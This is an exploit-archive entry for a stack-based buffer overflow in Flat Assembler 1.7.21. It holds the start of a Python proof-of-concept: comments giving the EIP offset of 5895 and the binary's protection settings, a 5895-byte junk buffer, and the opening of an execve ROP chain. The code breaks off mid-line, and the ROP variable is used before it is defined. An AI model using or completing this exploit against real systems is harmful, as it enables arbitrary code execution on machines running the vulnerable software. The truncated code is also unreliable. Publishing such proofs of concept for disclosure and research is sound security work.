Flat Assembler 1.7.21 - Buffer Overflow

Properties

Published:
29.06.2017
Target:
Flat Assembler 1.7.21

Code

#!/usr/bin/python
# Developed using Exploit Pack - http://exploitpack.com - 
#
# Exploit Author: Juan Sacco  at KPN Red Team - http://www.kpn.com
# Tested on: GNU/Linux - Kali 2017.1 Release
#
# What is FASM?
# Flat assembler is a fast, self-compilable assembly language compiler for the
# x86 and x86-64 architecture processors, which does multiple passes to optimize
# the size of generated machine code.
#
# Impact: FASM ( Flat Assembler  ) 1.7.21 and prior is prone to a stack-based buffer overflow
# vulnerability because the application fails to perform adequate
# boundary-checks on user-supplied input.
#
# An attacker could exploit this vulnerability to execute arbitrary code in the
# context of the application. Failed exploit attempts will result in a
# denial-of-service condition.
#
# Version: 1.71.21
# Architecture: i386
# Download here: http://ba.mirror.garr.it/mirrors/slitaz/sources/packages-cooking/f/fasm-1.71.21.tgz
#
# Vendor homepage: http://www.flatassembler.net`
#
import os,subprocess
from struct import pack
 
# EIP found at offset: 5895
# Entry point: 0x8048d68
# Canary: off
# Fortify: off
# NX: Enabled
# PIE: off
# Relro: Partial
 
junk = 'A' * 5895
execve_rop += pack('